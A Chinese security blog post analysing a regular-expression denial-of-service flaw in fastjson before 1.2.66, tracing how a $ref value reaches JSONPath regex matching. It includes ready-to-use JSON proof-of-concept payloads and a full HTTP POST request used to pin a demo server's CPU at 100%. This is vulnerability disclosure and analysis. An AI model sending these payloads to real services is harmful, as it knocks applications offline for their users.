fastjson < 1.2.66 正则表达式拒绝服务漏洞

关于漏洞

漏洞类型拒绝服务
漏洞等级高危
影响范围1.2.36 - 1.2.62

漏洞分析

首先导入1.2.62版本的fastjson

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.62</version>
        </dependency>

JSONPath

我最开始是从 JSONPath 这个类看起的,漏洞主要也出现在 JSONPath 类。

JSONPath 是一个用于通过表达式快速的获取 JSON 对象里的数据的类。

有点类似于 Xpath、CSS选择器这种东西。

举个例子

Object result = new JSONPath("$.root['item1']").eval("{\"root\":{\"item1\":\"blue\"}}");
//Object result = JSONPath.eval("{\"root\":{\"item1\":\"blue\"}}", "$.root['item1']");
/**
result = blue
**/

JSONPath#JSONPath(java.lang.String) 构造方法会将传进来的 path 赋给 this.path 属性。

1585051728(1).jpg

跟进到 init 方法

1585051891(1).jpg

跟进 JSONPath.JSONPathParser#explain

1585052097(1).jpg

跟进 JSONPath.JSONPathParser#readSegement

1585052161(1).jpg

这里当前读到的字符等于[就进入到JSONPath.JSONPathParser#parseArrayAccess

    JSONPath.Segment parseArrayAccess(boolean acceptBracket) {
        Object object = this.parseArrayAccessFilter(acceptBracket);
        return (JSONPath.Segment)(object instanceof JSONPath.Segment ? (JSONPath.Segment)object : new JSONPath.FilterSegment((JSONPath.Filter)object));
    }

parseArrayAccess 先调用parseArrayAccessFilter()方法得到一个Segment对象,然后将它再实例化为FilterSegment对象。

JSONPath第3117行处当读取到的操作符为 RLIKE 或 NOT_RLIKE 时就会返回一个 JSONPath.RlikeSegement 对象

1585053407(1).jpg

propertyName 是操作符左边的值,name是操作符右边的值。

比如 [var rlike 'regex'] propertyName=var , name=regex

1585054002(1).jpg

返回到 init()方法this.segments最终得到了一个内嵌RlikeSegement对象的FilterSegment数组。

再跳回到最开始的 eval 方法,

当初始化完成后开始对 segments 数组遍历,调用它们的eval(this, rootObject, currentObject)方法

前面提到过,数组里有一个FilterSegment对象,所以应该跟进到FilterSegment#eval方法。

1585055092(1).jpg

filter 是 RlikeSegement 对象,所以应跟到 JSONPath.RlikeSegement#apply

后面就是从 currentObject 中取 propertyName 然后和正则匹配。

漏洞就出现在这个地方,当正则表达式可控时,就会造成“REDOS”正则表达式拒绝服务。

Object eval = new JSONPath("[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']").eval("{\"blue\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!\"}");

执行这一段代码你会发现在正则匹配的时候线程就阻塞在那儿不动了,并且还会耗费 CPU。

这样虽然可以让 Java 应用拒绝服务,但在大多数项目中很少能见到 JSONPath 可控的场景。

所以应该找到在解析 JSON 时的利用点。

JSON $ref

先来看常见的解析 json 对象用的静态方法 JSON.parse

1585056411(1).jpg

这里先用 DefaultJSONParser 类对整个 json 字符串进行了 JSON 对象的转化。

跳过一些无用步骤,直接到DefaultJSONParser#parseObject

首先要让key等于$ref满足if条件。

1585057350(1).jpg

然后让 $ref 的值不要等于 @ 和 .. 和 $ 就会进入 else 代码块调用 addResolveTask 方法,这个方法的作用就是给this.resolveTaskList集合添加一个ResolveTask对象。

1585057417(1).jpg

再返回到 JSON#parse,JSON解析部分结束

进入漏洞触发点DefaultJSONParser#handleResovleTask方法。

1585058455(1).jpg

最终在 1508 行调用了 JSONPath.eval(value, ref); 触发漏洞。

我构造得到如下 POC 代码

{
    "regex":{
        "$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
    },
    "blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}

另外除了RlikeSegement类以外还有一个RegMatchSegement类,同样存在REDOS漏洞,过程基本上一样所以直接放上POC。

{
    "regex":{
        "$ref":"$[\blue = /\^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]"
    },
    "blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}

漏洞演示

我写了一个简单的 demo 用来测试是否能够将 java 应用拒绝服务。

1585058816(1).jpg

/**
 * @author 浅蓝
 * @email blue@ixsec.org
 * @since 2019/11/17 21:16
 */
@RestController
@RequestMapping()
public class TestController {

    @RequestMapping("/parse")
    public String parse(String json){
        Object parse = JSON.parse(json);
        return parse.toString();
    }
}

启动服务后我开启了 50 个线程同时向解析json的接口发起请求

POST /parse HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

json={"regex"%3a{"$ref"%3a"$[blue+rlike+'^[a-zA-Z]%2b(([a-zA-Z+])%3f[a-zA-Z]*)*$']"},"blue"%3a"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}

1585059312(1).jpg

CPU 瞬间飙升 100%

修复方案

  • 更新版本大于等于 1.2.66

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。